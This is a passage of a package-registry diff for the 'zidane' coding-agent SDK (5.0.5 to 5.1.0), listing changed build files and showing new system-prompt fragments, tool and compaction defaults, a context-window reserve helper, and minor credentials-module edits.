zidane 5.0.5 → 5.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +37 -1
- package/dist/{agent-JhicgLOV.d.ts → agent-B0vrSTQ9.d.ts} +162 -4
- package/dist/agent-B0vrSTQ9.d.ts.map +1 -0
- package/dist/chat.d.ts +536 -92
- package/dist/chat.d.ts.map +1 -1
- package/dist/chat.js +2 -2
- package/dist/contexts/docker.d.ts +7 -0
- package/dist/contexts/docker.d.ts.map +1 -0
- package/dist/{contexts-3Arvn7yR.js → contexts/docker.js} +2 -128
- package/dist/contexts/docker.js.map +1 -0
- package/dist/contexts-BwiHIr2w.js +129 -0
- package/dist/contexts-BwiHIr2w.js.map +1 -0
- package/dist/contexts.d.ts +3 -2
- package/dist/contexts.js +2 -2
- package/dist/index-CFxhms_B.d.ts +1303 -0
- package/dist/index-CFxhms_B.d.ts.map +1 -0
- package/dist/index-DYcymRtr.d.ts +26 -0
- package/dist/index-DYcymRtr.d.ts.map +1 -0
- package/dist/{index-t_W9i7Ql.d.ts → index-X6Q9PN_A.d.ts} +3 -3
- package/dist/{index-t_W9i7Ql.d.ts.map → index-X6Q9PN_A.d.ts.map} +1 -1
- package/dist/index.d.ts +6 -5
- package/dist/index.js +10 -9
- package/dist/index.js.map +1 -1
- package/dist/login-BiuHyuEh.js +1276 -0
- package/dist/login-BiuHyuEh.js.map +1 -0
- package/dist/{mcp-Dw-fRPVk.js → mcp-BgwK6ySj.js} +184 -9
- package/dist/mcp-BgwK6ySj.js.map +1 -0
- package/dist/mcp.d.ts +2 -2
- package/dist/mcp.js +1 -1
- package/dist/{messages-xaYMMFlb.js → messages-BAFLvH_z.js} +1 -1
- package/dist/{messages-xaYMMFlb.js.map → messages-BAFLvH_z.js.map} +1 -1
- package/dist/{presets-BRFH2qsQ.js → presets-CI8_fyvX.js} +2 -2
- package/dist/{presets-BRFH2qsQ.js.map → presets-CI8_fyvX.js.map} +1 -1
- package/dist/presets.d.ts +2 -2
- package/dist/presets.js +1 -1
- package/dist/{providers-BCbdv99U.js → providers-C6-vhaVu.js} +2 -2
- package/dist/{providers-BCbdv99U.js.map → providers-C6-vhaVu.js.map} +1 -1
- package/dist/providers.d.ts +1 -1
- package/dist/providers.js +2 -2
- package/dist/session/sqlite.d.ts +1 -1
- package/dist/{session-791hhrFa.js → session-pS4Vt4dl.js} +1 -1
- package/dist/{session-791hhrFa.js.map → session-pS4Vt4dl.js.map} +1 -1
- package/dist/session.d.ts +1 -1
- package/dist/session.js +2 -2
- package/dist/skills.d.ts +2 -2
- package/dist/{stats-DZIsGqzu.js → stats-DvCtBRwK.js} +1 -1
- package/dist/{stats-DZIsGqzu.js.map → stats-DvCtBRwK.js.map} +1 -1
- package/dist/{theme-C3JHZ5y9.d.ts → theme-CcGLMJrn.d.ts} +732 -20
- package/dist/theme-CcGLMJrn.d.ts.map +1 -0
- package/dist/{tools-CLazLRb4.js → tools-d1yeA6xK.js} +399 -13
- package/dist/tools-d1yeA6xK.js.map +1 -0
- package/dist/tools.d.ts +2 -2
- package/dist/tools.js +1 -1
- package/dist/tui.d.ts +421 -39
- package/dist/tui.d.ts.map +1 -1
- package/dist/tui.js +5761 -2374
- package/dist/tui.js.map +1 -1
- package/dist/{turn-operations-DZ3TrljX.js → turn-operations-BzOIM6Of.js} +2036 -129
- package/dist/turn-operations-BzOIM6Of.js.map +1 -0
- package/dist/types-Bx_F8jet.js.map +1 -1
- package/dist/{index-CXVvqTQj.d.ts → types-OtrV6LJT.d.ts} +2 -27
- package/dist/types-OtrV6LJT.d.ts.map +1 -0
- package/dist/types.d.ts +4 -3
- package/dist/types.js +1 -1
- package/package.json +5 -1
- package/dist/agent-JhicgLOV.d.ts.map +0 -1
- package/dist/contexts-3Arvn7yR.js.map +0 -1
- package/dist/index-2yLUyTbc.d.ts +0 -430
- package/dist/index-2yLUyTbc.d.ts.map +0 -1
- package/dist/index-CXVvqTQj.d.ts.map +0 -1
- package/dist/mcp-Dw-fRPVk.js.map +0 -1
- package/dist/theme-C3JHZ5y9.d.ts.map +0 -1
- package/dist/tools-CLazLRb4.js.map +0 -1
- package/dist/turn-operations-DZ3TrljX.js.map +0 -1
|
@@ -1,10 +1,10 @@
|
|
|
1
|
-
import { a as multiEdit, c as grep, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, r as shell, t as writeFile$1, u as edit } from "./tools-
|
|
1
|
+
import { a as multiEdit, c as grep, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, r as shell, t as writeFile$1, u as edit } from "./tools-d1yeA6xK.js";
|
|
2
2
|
import { n as toolResultToText } from "./types-Bx_F8jet.js";
|
|
3
|
-
import { r as normalizeMcpServers } from "./mcp-
|
|
3
|
+
import { r as normalizeMcpServers } from "./mcp-BgwK6ySj.js";
|
|
4
4
|
import { a as discoverSkills } from "./interpolate-Ck970-61.js";
|
|
5
|
-
import { n as formatTokenUsage } from "./stats-
|
|
6
|
-
import { n as definePreset } from "./presets-
|
|
7
|
-
import { i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-
|
|
5
|
+
import { n as formatTokenUsage } from "./stats-DvCtBRwK.js";
|
|
6
|
+
import { n as definePreset } from "./presets-CI8_fyvX.js";
|
|
7
|
+
import { i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-C6-vhaVu.js";
|
|
8
8
|
import { spawn } from "node:child_process";
|
|
9
9
|
import { readdir, stat, writeFile } from "node:fs/promises";
|
|
10
10
|
import { dirname, join, resolve, sep } from "node:path";
|
|
@@ -14,6 +14,214 @@ import { anthropicOAuthProvider, openaiCodexOAuthProvider } from "@mariozechner/
|
|
|
14
14
|
import { getModel, getModels } from "@mariozechner/pi-ai";
|
|
15
15
|
import { createContext, useCallback, useContext, useEffect, useMemo, useRef, useState } from "react";
|
|
16
16
|
import { jsx } from "react/jsx-runtime";
|
|
17
|
+
import { jsx as jsx$1 } from "@opentui/react/jsx-runtime";
|
|
18
|
+
//#region src/chat/agent-prompt.ts
|
|
19
|
+
/**
|
|
20
|
+
* Agent system-prompt fragments — composable doctrine for built-in profiles.
|
|
21
|
+
*
|
|
22
|
+
* Each `const` below is one self-contained section of a system prompt. They
|
|
23
|
+
* exist as exports so SDK consumers can pick and choose: build a custom
|
|
24
|
+
* profile by spreading them in {@link buildBuildSystem} order, drop a fragment
|
|
25
|
+
* for a stricter / looser agent, or compose with project-specific prose.
|
|
26
|
+
*
|
|
27
|
+
* The fragments are deliberately byte-stable across sessions — every doctrine
|
|
28
|
+
* piece reads the same on every turn so the system-prompt cache breakpoint
|
|
29
|
+
* (anthropic ephemeral, `src/providers/anthropic.ts:327`) keeps hitting cache.
|
|
30
|
+
* Runtime-derived content (cwd, date) lives in {@link envSection} and is
|
|
31
|
+
* computed at agent-build time, not per-turn — same anchor, same cache.
|
|
32
|
+
*
|
|
33
|
+
* The TUI overrides `agent.run({ system })` with the composed string at
|
|
34
|
+
* session activation so a moved cwd or rolled-over date refreshes the
|
|
35
|
+
* prefix; SDK consumers calling `createAgent({ system })` directly get the
|
|
36
|
+
* cwd-less variant from the preset and can wrap their own env section.
|
|
37
|
+
*/
|
|
38
|
+
/**
|
|
39
|
+
* Lead line — short, version-stable, written in the same key as Claude Code's
|
|
40
|
+
* identity prefix (`constants/system.ts:10` in claude-code). Models trained
|
|
41
|
+
* on similar prefixes anchor faster; keep this immutable across releases.
|
|
42
|
+
*/
|
|
43
|
+
const IDENTITY_PREFIX = "You are zidane, a terminal-based coding agent that helps the user with software-engineering tasks.";
|
|
44
|
+
/**
|
|
45
|
+
* Render the env anchor block. Plain text — XML tags only because models
|
|
46
|
+
* lean on them as structural cues, not because we parse them anywhere.
|
|
47
|
+
*
|
|
48
|
+
* Kept narrow on purpose: cwd / projectRoot / date / platform are the
|
|
49
|
+
* knobs the model can't infer from the conversation. Anything else
|
|
50
|
+
* (git branch, project name) belongs in CLAUDE.md / project-level
|
|
51
|
+
* prompts where the user opts in.
|
|
52
|
+
*
|
|
53
|
+
* Cache-stability: outputs are byte-stable per `(cwd, projectRoot,
|
|
54
|
+
* date, platform)` tuple. Repeated session activations against the
|
|
55
|
+
* same workspace produce the same prefix → provider's prompt cache
|
|
56
|
+
* hits across turns + across sessions in the same host process.
|
|
57
|
+
*/
|
|
58
|
+
function envSection(opts) {
|
|
59
|
+
const date = opts.date ?? (/* @__PURE__ */ new Date()).toISOString().slice(0, 10);
|
|
60
|
+
const platform = opts.platform ?? process.platform;
|
|
61
|
+
const lines = ["<env>", `Cwd: ${opts.cwd}`];
|
|
62
|
+
if (opts.projectRoot && opts.projectRoot !== opts.cwd) {
|
|
63
|
+
lines.push(`Project root: ${opts.projectRoot}`);
|
|
64
|
+
lines.push("Note: file paths referenced by the user via `@`-completion are relative to `Project root`, not `Cwd`. Resolve them from the project root (use absolute paths when invoking tools to avoid ambiguity).");
|
|
65
|
+
}
|
|
66
|
+
lines.push(`Date: ${date}`, `Platform: ${platform}`, "</env>");
|
|
67
|
+
return lines.join("\n");
|
|
68
|
+
}
|
|
69
|
+
/**
|
|
70
|
+
* Software-engineering doctrine. Lifted in spirit from claude-code's
|
|
71
|
+
* `# Doing tasks` (`constants/prompts.ts:199-253`). Key levers:
|
|
72
|
+
*
|
|
73
|
+
* - Stick to scope — prevents speculative refactors that double output tokens.
|
|
74
|
+
* - No narration comments — prevents inflating diffs with `// Import the module` lines.
|
|
75
|
+
* - Verify before claiming done — prevents false-positive reports that force a follow-up turn.
|
|
76
|
+
*/
|
|
77
|
+
const DOING_TASKS_DOCTRINE = `# Doing tasks
|
|
78
|
+
- Stick to the scope you were asked for. Don't add features, refactor unrelated code, or "improve" things beyond the request. A bug fix doesn't need surrounding cleanup; a small feature doesn't need extra configurability.
|
|
79
|
+
- Don't add comments, docstrings, or type annotations to code you didn't change. Only comment where the WHY is non-obvious (hidden constraint, subtle invariant, workaround). Never narrate WHAT the code does — well-named identifiers already do that.
|
|
80
|
+
- Trust internal code and framework guarantees. Validate at system boundaries (user input, external APIs), not everywhere. Skip backwards-compat shims unless asked.
|
|
81
|
+
- Don't create helpers, utilities, or abstractions for one-time operations. Three similar lines beat a premature abstraction. The right amount of complexity is what the task actually requires.
|
|
82
|
+
- Before reporting a task complete, verify it actually works: run the test, execute the script, check the output. Report outcomes faithfully — if tests fail, say so with the relevant output. Never claim "all tests pass" when output shows failures.
|
|
83
|
+
- If you spot a bug adjacent to what was asked, or notice the request is based on a misconception, say so. You are a collaborator, not just an executor.`;
|
|
84
|
+
/**
|
|
85
|
+
* zidane-specific token-economy doctrine. No claude-code analog — this is
|
|
86
|
+
* the prose half of the `behavior.{compactStrategy, elideStaleReads,
|
|
87
|
+
* toolDisclosure, toolOutputBudget}` defaults. The behavior flags do the
|
|
88
|
+
* heavy lifting at the wire level; this prompt nudges the model away from
|
|
89
|
+
* the access patterns that defeat them.
|
|
90
|
+
*/
|
|
91
|
+
const TOKEN_DISCIPLINE_DOCTRINE = `# Working efficiently
|
|
92
|
+
- Read a file once. Re-reading the same file in the same session wastes context — the prior \`read_file\` result is still in your view (and stale reads after an edit are elided automatically).
|
|
93
|
+
- Narrow before you read. \`grep\` / \`glob\` to locate, then \`read_file\` on the specific file. Don't open a 2000-line file when you only need one function.
|
|
94
|
+
- Prefer \`edit\` / \`multi_edit\` over \`write_file\` for surgical changes — full overwrites are larger payloads and easier to get wrong.
|
|
95
|
+
- Spawn a subagent (\`spawn\`) for self-contained research dives or codegen passes that don't need the parent's context. The child runs in its own context window — you only get its final report back.
|
|
96
|
+
- Don't grep for things already shown to you, list directories you already saw, or re-execute commands whose output is still above. Tool budgets nudge against runaway exploration but the cheaper fix is to not start the loop.
|
|
97
|
+
|
|
98
|
+
Tool results may be elided, persisted, or replaced as the conversation grows: stale \`read_file\` outputs become short stubs after the file is edited, older tool results may be tail-compacted, and large outputs are written to disk and replaced inline with a \`<persisted-output tool="…" bytes="…" path="…">\` block carrying a 2 KiB head preview plus the filesystem path. Copy load-bearing data into your own response text before you'd need to recover it later — and when you see a \`<persisted-output>\` block whose preview isn't enough, call \`read_file\` on the persisted path to retrieve the full payload.`;
|
|
99
|
+
/**
|
|
100
|
+
* User-facing communication style. Lifted from claude-code's
|
|
101
|
+
* `# Communicating with the user` + `# Tone and style` sections (~404-442).
|
|
102
|
+
* The "no colon before tool calls" rule matters because models often
|
|
103
|
+
* generate "Let me check this file:" right before a tool call that the
|
|
104
|
+
* user never sees rendered.
|
|
105
|
+
*/
|
|
106
|
+
const COMMUNICATION_DOCTRINE = `# Communicating with the user
|
|
107
|
+
- You're writing for a person, not logging to a console. Tool calls and reasoning are not visible — only your text output is. Before your first tool call, briefly state what you're about to do.
|
|
108
|
+
- Give short updates at load-bearing moments: root cause found, direction change, real progress. Skip play-by-play.
|
|
109
|
+
- Write in flowing prose. Avoid excessive em dashes, fragments, symbols, or notation. Tables when they help, not by default.
|
|
110
|
+
- Don't use a colon before tool calls. "Let me read the file:" + tool call reads as broken — write "Let me read the file." with a period.
|
|
111
|
+
- Reference code as \`file:line\` so the user can navigate (e.g. \`src/agent.ts:1213\`).
|
|
112
|
+
- No emojis unless the user explicitly asks.`;
|
|
113
|
+
/**
|
|
114
|
+
* Reversibility / blast-radius doctrine. Mirrors claude-code's `# Executing
|
|
115
|
+
* actions with care` (255-267). The TUI's safe-mode already gates risky
|
|
116
|
+
* tool calls behind explicit approval, but this prompt teaches the model
|
|
117
|
+
* to anticipate the gate rather than be surprised by it — and to ask
|
|
118
|
+
* before reaching for destructive shortcuts.
|
|
119
|
+
*/
|
|
120
|
+
const ACTIONS_WITH_CARE_DOCTRINE = `# Executing actions with care
|
|
121
|
+
Reversibility scales the required caution. Local edits, tests, and reads are free to take. Destructive or shared-state actions need explicit user confirmation — \`rm -rf\`, dropping tables, force-pushing, modifying CI, sending messages, posting to external services. A user approving an action once does NOT mean they approve it in all contexts.
|
|
122
|
+
|
|
123
|
+
When you hit an obstacle, do not use destructive actions as a shortcut to make it go away. Measure twice, cut once.`;
|
|
124
|
+
/**
|
|
125
|
+
* How to brief a subagent. Spawning a child agent is the highest-leverage
|
|
126
|
+
* token move in zidane — a 5k-token research dive becomes a 200-token
|
|
127
|
+
* summary in the parent's context. But shallow prompts produce shallow
|
|
128
|
+
* work, so the doctrine is mostly about quality of the briefing.
|
|
129
|
+
*
|
|
130
|
+
* Lifted from claude-code's `## Writing the prompt` tool-prompt
|
|
131
|
+
* (`tools/AgentTool/prompt.ts:99-113`).
|
|
132
|
+
*/
|
|
133
|
+
const SUBAGENT_GUIDANCE = `# When spawning subagents
|
|
134
|
+
Brief the child agent like a smart colleague who just walked in — it has not seen this conversation and doesn't know what you've tried or why this matters.
|
|
135
|
+
- Explain what you're trying to accomplish and why.
|
|
136
|
+
- Describe what you've already learned or ruled out.
|
|
137
|
+
- Give enough context that the child can make judgment calls, not just follow narrow steps.
|
|
138
|
+
- For investigations, hand over the question. For lookups, hand over the exact command.
|
|
139
|
+
- Never delegate understanding ("based on your findings, fix the bug"). Synthesize yourself — include file paths, line numbers, and the specific change you want.
|
|
140
|
+
|
|
141
|
+
Terse command-style prompts produce shallow, generic work.`;
|
|
142
|
+
/**
|
|
143
|
+
* Plan-mode framing. Replaces the previous one-liner with explicit phases
|
|
144
|
+
* (explore → propose → submit), drawing on claude-code's iterative-plan
|
|
145
|
+
* mode (`utils/messages.ts:3323-3383`). Always paired with the read-only
|
|
146
|
+
* tool set in {@link PLAN_AGENT}.
|
|
147
|
+
*/
|
|
148
|
+
const PLAN_MODE_DOCTRINE = `# Plan mode — read-only
|
|
149
|
+
You are in PLAN mode. You can read files, list directories, and search the codebase — but you CANNOT modify files, run shell commands, or spawn subagents. Use this mode to investigate, understand, and design a proposal.
|
|
150
|
+
|
|
151
|
+
## Loop
|
|
152
|
+
1. **Explore** — Read code. Look for existing functions, utilities, and patterns to reuse.
|
|
153
|
+
2. **Ask** — When you hit an ambiguity only the user can resolve (requirements, preferences, tradeoffs), call \`ask_user\` with the full batch of questions.
|
|
154
|
+
3. **Propose** — When the plan is ready, submit it via \`present_plan\` with a concrete title, the markdown body, and optional structured steps. The user approves, rejects, or asks for revisions.
|
|
155
|
+
|
|
156
|
+
## Good plans
|
|
157
|
+
- Cover what to change, which files to modify, what existing code to reuse (with file paths), and how to verify the change end-to-end.
|
|
158
|
+
- Reference real symbols and line numbers from your exploration.
|
|
159
|
+
- Surface only your recommended approach, not every alternative.
|
|
160
|
+
|
|
161
|
+
The user will switch to Build mode to execute an approved plan.`;
|
|
162
|
+
/**
|
|
163
|
+
* How to use `present_plan` / `ask_user`. Kept short — the tool descriptions
|
|
164
|
+
* carry the schema details; this prompt covers the cross-cutting *when*.
|
|
165
|
+
*
|
|
166
|
+
* Previously lived inline in `src/chat/agents.ts` as `INTERACTION_GUIDANCE`.
|
|
167
|
+
* Moved here so a custom profile can pull it in independently.
|
|
168
|
+
*/
|
|
169
|
+
const INTERACTION_GUIDANCE = `# Interacting with the user
|
|
170
|
+
- Call \`present_plan\` when you have a concrete proposal that materially changes the workspace and want explicit confirmation before executing.
|
|
171
|
+
- Call \`ask_user\` when clarifying answers materially change the next steps. Batch related questions into one call — every call pauses the conversation.
|
|
172
|
+
- Use both sparingly. Don't ask what you could find out by reading the code.`;
|
|
173
|
+
function buildEnvSectionFromOpts(opts) {
|
|
174
|
+
if (!opts.cwd) return null;
|
|
175
|
+
return envSection({
|
|
176
|
+
cwd: opts.cwd,
|
|
177
|
+
...opts.projectRoot !== void 0 ? { projectRoot: opts.projectRoot } : {},
|
|
178
|
+
...opts.date !== void 0 ? { date: opts.date } : {},
|
|
179
|
+
...opts.platform !== void 0 ? { platform: opts.platform } : {}
|
|
180
|
+
});
|
|
181
|
+
}
|
|
182
|
+
/**
|
|
183
|
+
* Compose the Build-mode system prompt.
|
|
184
|
+
*
|
|
185
|
+
* Order matters for cache stability: identity → env → doctrine → guidance.
|
|
186
|
+
* Env comes before doctrine so a cwd change rebuilds only the head of the
|
|
187
|
+
* prompt; the doctrine tail stays byte-identical across sessions and rides
|
|
188
|
+
* the cache.
|
|
189
|
+
*
|
|
190
|
+
* The fragments are joined with blank lines so the model sees clean section
|
|
191
|
+
* breaks. Don't reorder lightly — every reorder costs one cache miss across
|
|
192
|
+
* every active session.
|
|
193
|
+
*/
|
|
194
|
+
function buildBuildSystem(opts = {}) {
|
|
195
|
+
return joinPrompt([
|
|
196
|
+
IDENTITY_PREFIX,
|
|
197
|
+
buildEnvSectionFromOpts(opts),
|
|
198
|
+
DOING_TASKS_DOCTRINE,
|
|
199
|
+
ACTIONS_WITH_CARE_DOCTRINE,
|
|
200
|
+
TOKEN_DISCIPLINE_DOCTRINE,
|
|
201
|
+
SUBAGENT_GUIDANCE,
|
|
202
|
+
COMMUNICATION_DOCTRINE,
|
|
203
|
+
INTERACTION_GUIDANCE
|
|
204
|
+
]);
|
|
205
|
+
}
|
|
206
|
+
/**
|
|
207
|
+
* Compose the Plan-mode system prompt. Subset of Build: drops the
|
|
208
|
+
* subagent + actions-with-care fragments (no shell, no spawn in plan
|
|
209
|
+
* mode) and uses `PLAN_MODE_DOCTRINE` instead of `DOING_TASKS_DOCTRINE`.
|
|
210
|
+
*/
|
|
211
|
+
function buildPlanSystem(opts = {}) {
|
|
212
|
+
return joinPrompt([
|
|
213
|
+
IDENTITY_PREFIX,
|
|
214
|
+
buildEnvSectionFromOpts(opts),
|
|
215
|
+
PLAN_MODE_DOCTRINE,
|
|
216
|
+
TOKEN_DISCIPLINE_DOCTRINE,
|
|
217
|
+
COMMUNICATION_DOCTRINE,
|
|
218
|
+
INTERACTION_GUIDANCE
|
|
219
|
+
]);
|
|
220
|
+
}
|
|
221
|
+
function joinPrompt(parts) {
|
|
222
|
+
return parts.filter((p) => typeof p === "string" && p.length > 0).join("\n\n");
|
|
223
|
+
}
|
|
224
|
+
//#endregion
|
|
17
225
|
//#region src/chat/agents.ts
|
|
18
226
|
/** Read-only tool slice shared by the Plan profile and any host-built read-only variant. */
|
|
19
227
|
const READ_ONLY_TOOLS = {
|
|
@@ -22,10 +230,94 @@ const READ_ONLY_TOOLS = {
|
|
|
22
230
|
glob,
|
|
23
231
|
grep
|
|
24
232
|
};
|
|
233
|
+
/** Full build-mode tool slice — read + write + shell + spawn. */
|
|
234
|
+
const BUILD_TOOLS = {
|
|
235
|
+
shell,
|
|
236
|
+
readFile: readFile$1,
|
|
237
|
+
writeFile: writeFile$1,
|
|
238
|
+
listFiles,
|
|
239
|
+
edit,
|
|
240
|
+
multiEdit,
|
|
241
|
+
glob,
|
|
242
|
+
grep
|
|
243
|
+
};
|
|
244
|
+
/**
|
|
245
|
+
* Tools the chat layer never persists to disk, regardless of output size.
|
|
246
|
+
*
|
|
247
|
+
* Rationale per entry:
|
|
248
|
+
* - `read_file` — our reader is already paginated (`offset` + `limit`).
|
|
249
|
+
* Persisting the slice the model asked for and pointing it at the
|
|
250
|
+
* persisted path is circular; if the model wants more, it pages.
|
|
251
|
+
* - `tool_search` — short metadata envelope. Never large.
|
|
252
|
+
* - `skills_use` / `skills_read` — the `<skill_content>` body is
|
|
253
|
+
* intentionally part of the prompt; persisting it defeats the purpose.
|
|
254
|
+
* - `present_plan` / `ask_user` — short JSON envelopes (decision +
|
|
255
|
+
* answers). Never large.
|
|
256
|
+
* - `spawn` — the subagent's final report IS the value of the call;
|
|
257
|
+
* stubbing it out would defeat the orchestration pattern.
|
|
258
|
+
*
|
|
259
|
+
* Exported so SDK consumers building custom profiles can extend the list
|
|
260
|
+
* (e.g. host-defined `screenshot` tool whose base64 payload should stay
|
|
261
|
+
* inline). Set `behavior.persistExcludeTools` to your own list to fully
|
|
262
|
+
* override.
|
|
263
|
+
*/
|
|
264
|
+
const DEFAULT_PERSIST_EXCLUDE_TOOLS = [
|
|
265
|
+
"read_file",
|
|
266
|
+
"tool_search",
|
|
267
|
+
"skills_use",
|
|
268
|
+
"skills_read",
|
|
269
|
+
"present_plan",
|
|
270
|
+
"ask_user",
|
|
271
|
+
"spawn"
|
|
272
|
+
];
|
|
273
|
+
/**
|
|
274
|
+
* Token-saving `AgentBehavior` defaults shared by the built-in profiles.
|
|
275
|
+
*
|
|
276
|
+
* These flip on at the chat layer, not at the SDK core (`src/agent.ts`) —
|
|
277
|
+
* external `createAgent()` consumers keep the conservative defaults.
|
|
278
|
+
* Rationale per knob:
|
|
279
|
+
*
|
|
280
|
+
* - `compactStrategy: 'tail'` — when the persisted history's tool-output
|
|
281
|
+
* bytes exceed `compactThreshold`, stub older `tool_result` blocks at
|
|
282
|
+
* the wire level (session storage is untouched). Without this, a single
|
|
283
|
+
* long-lived chat keeps re-sending every read/grep result every turn.
|
|
284
|
+
* - `elideStaleReads: true` — after a successful `edit` / `write_file`,
|
|
285
|
+
* replace earlier `read_file` results on the same path with a short
|
|
286
|
+
* stub. Eliminates the pre-edit file body riding along forever.
|
|
287
|
+
* - `toolDisclosure: 'lazy'` — MCP tools advertise as name+description in
|
|
288
|
+
* the system prompt and load their `inputSchema` on demand via
|
|
289
|
+
* `tool_search`. No-op without MCPs (gated on `lazyEntries.length > 0`
|
|
290
|
+
* in `src/agent.ts:1287`); substantial savings with a 50-tool server.
|
|
291
|
+
* - `toolOutputBudget: 64 KiB` — soft per-turn cap that injects a
|
|
292
|
+
* summarize-before-continuing nudge when tool output explodes.
|
|
293
|
+
* - `persistThreshold: 8 KiB` + `persistExcludeTools` — tool results
|
|
294
|
+
* above the threshold are written to disk and replaced inline with a
|
|
295
|
+
* `<persisted-output>` stub (preview + path). `persistDir` is wired by
|
|
296
|
+
* the TUI at session activation; without a dir, persistence is off.
|
|
297
|
+
* The user can disable persistence entirely via
|
|
298
|
+
* `Settings.persistToolResults` (sets the threshold to 0 at agent build
|
|
299
|
+
* time).
|
|
300
|
+
*/
|
|
301
|
+
const SHARED_BEHAVIOR = {
|
|
302
|
+
compactStrategy: "tail",
|
|
303
|
+
compactThreshold: 128 * 1024,
|
|
304
|
+
compactKeepTurns: 4,
|
|
305
|
+
elideStaleReads: true,
|
|
306
|
+
toolDisclosure: "lazy",
|
|
307
|
+
toolOutputBudget: 64 * 1024,
|
|
308
|
+
persistThreshold: 8 * 1024,
|
|
309
|
+
persistExcludeTools: DEFAULT_PERSIST_EXCLUDE_TOOLS
|
|
310
|
+
};
|
|
25
311
|
/**
|
|
26
312
|
* Build agent — the default profile. Full read/write/shell access plus
|
|
27
313
|
* subagent spawning. Mirrors the legacy `basic` preset so existing TUI
|
|
28
314
|
* behavior is preserved when `agents` is omitted.
|
|
315
|
+
*
|
|
316
|
+
* The system prompt is the cwd-less variant of {@link buildBuildSystem};
|
|
317
|
+
* the TUI overrides it per-session with an env-anchored composition so
|
|
318
|
+
* the prompt carries the current project root + date. SDK consumers
|
|
319
|
+
* calling `createAgent({ ...BUILD_AGENT.preset })` directly get the
|
|
320
|
+
* cwd-less prompt and can wrap their own env section.
|
|
29
321
|
*/
|
|
30
322
|
const BUILD_AGENT = {
|
|
31
323
|
id: "build",
|
|
@@ -34,16 +326,10 @@ const BUILD_AGENT = {
|
|
|
34
326
|
accent: "accent",
|
|
35
327
|
preset: definePreset({
|
|
36
328
|
name: "build",
|
|
37
|
-
system:
|
|
329
|
+
system: buildBuildSystem(),
|
|
330
|
+
behavior: { ...SHARED_BEHAVIOR },
|
|
38
331
|
tools: {
|
|
39
|
-
|
|
40
|
-
readFile: readFile$1,
|
|
41
|
-
writeFile: writeFile$1,
|
|
42
|
-
listFiles,
|
|
43
|
-
edit,
|
|
44
|
-
multiEdit,
|
|
45
|
-
glob,
|
|
46
|
-
grep,
|
|
332
|
+
...BUILD_TOOLS,
|
|
47
333
|
spawn: createSpawnTool({ persist: true })
|
|
48
334
|
}
|
|
49
335
|
})
|
|
@@ -61,7 +347,8 @@ const PLAN_AGENT = {
|
|
|
61
347
|
accent: "model",
|
|
62
348
|
preset: definePreset({
|
|
63
349
|
name: "plan",
|
|
64
|
-
system:
|
|
350
|
+
system: buildPlanSystem(),
|
|
351
|
+
behavior: { ...SHARED_BEHAVIOR },
|
|
65
352
|
tools: READ_ONLY_TOOLS
|
|
66
353
|
})
|
|
67
354
|
};
|
|
@@ -201,6 +488,32 @@ function getContextWindow(descriptor, modelId) {
|
|
|
201
488
|
return getModelInfo(descriptor, modelId)?.contextWindow ?? null;
|
|
202
489
|
}
|
|
203
490
|
/**
|
|
491
|
+
* Reserved output budget subtracted from the raw context window when
|
|
492
|
+
* computing the effective ceiling for compaction / warning thresholds.
|
|
493
|
+
*
|
|
494
|
+
* Aligned with Claude Code's `COMPACT_MAX_OUTPUT_TOKENS = 20_000`
|
|
495
|
+
* (`utils/context.ts:12`) — covers p99.99 of summary + response output.
|
|
496
|
+
* A turn that consumed N input tokens leaves `effectiveWindow - N`
|
|
497
|
+
* headroom for the next prompt's response; once headroom shrinks
|
|
498
|
+
* below the threshold, auto-compaction fires.
|
|
499
|
+
*/
|
|
500
|
+
const OUTPUT_RESERVE_TOKENS = 2e4;
|
|
501
|
+
/**
|
|
502
|
+
* Effective context window — what the next user turn can actually pack
|
|
503
|
+
* before the provider reserves space for the assistant's reply. Equals
|
|
504
|
+
* `rawWindow - OUTPUT_RESERVE_TOKENS`, clamped to `>= 1` so a tiny
|
|
505
|
+
* (or absurd) window doesn't yield zero / negative thresholds.
|
|
506
|
+
*
|
|
507
|
+
* Used by both the footer's context indicator and the auto-compact
|
|
508
|
+
* trigger so the two surfaces agree on "how full are we, really".
|
|
509
|
+
* Pass `null` through unchanged so callers can pipe `getContextWindow`
|
|
510
|
+
* directly without an intermediate check.
|
|
511
|
+
*/
|
|
512
|
+
function effectiveContextWindow(rawWindow) {
|
|
513
|
+
if (rawWindow === null) return null;
|
|
514
|
+
return Math.max(1, rawWindow - OUTPUT_RESERVE_TOKENS);
|
|
515
|
+
}
|
|
516
|
+
/**
|
|
204
517
|
* Whether the given model exposes a reasoning / extended-thinking knob.
|
|
205
518
|
* Drives the TUI's effort picker visibility — the `ctrl+n` shortcut and
|
|
206
519
|
* the bottom-bar `effortName` segment only surface when this is `true`.
|
|
@@ -213,7 +526,7 @@ function modelSupportsReasoning(descriptor, modelId) {
|
|
|
213
526
|
//#endregion
|
|
214
527
|
//#region src/chat/credentials.ts
|
|
215
528
|
/** POSIX mode for the credentials file. Ignored on Windows. */
|
|
216
|
-
const FILE_MODE = 384;
|
|
529
|
+
const FILE_MODE$1 = 384;
|
|
217
530
|
/**
|
|
218
531
|
* Resolve the credentials file path given the resolved TUI data directory
|
|
219
532
|
* (typically `~/.zidane`, i.e. `config.paths.dir`).
|
|
@@ -263,7 +576,7 @@ function writeCredentials(dataDir, creds) {
|
|
|
263
576
|
const path = credentialsPath(dataDir);
|
|
264
577
|
mkdirSync(dirname(path), { recursive: true });
|
|
265
578
|
const tmp = `${path}.${process.pid}.${Date.now()}.tmp`;
|
|
266
|
-
writeFileSync(tmp, `${JSON.stringify(creds, null, 2)}\n`, { mode: FILE_MODE });
|
|
579
|
+
writeFileSync(tmp, `${JSON.stringify(creds, null, 2)}\n`, { mode: FILE_MODE$1 });
|
|
267
580
|
renameSync(tmp, path);
|
|
268
581
|
}
|
|
269
582
|
function setProviderCredential(dataDir, descriptor, cred) {
|
|
@@ -344,7 +657,7 @@ function migrateLegacyFile(targetPath) {
|
|
|
344
657
|
if (Object.keys(migrated).length === 0) return null;
|
|
345
658
|
mkdirSync(dirname(targetPath), { recursive: true });
|
|
346
659
|
const tmp = `${targetPath}.${process.pid}.${Date.now()}.tmp`;
|
|
347
|
-
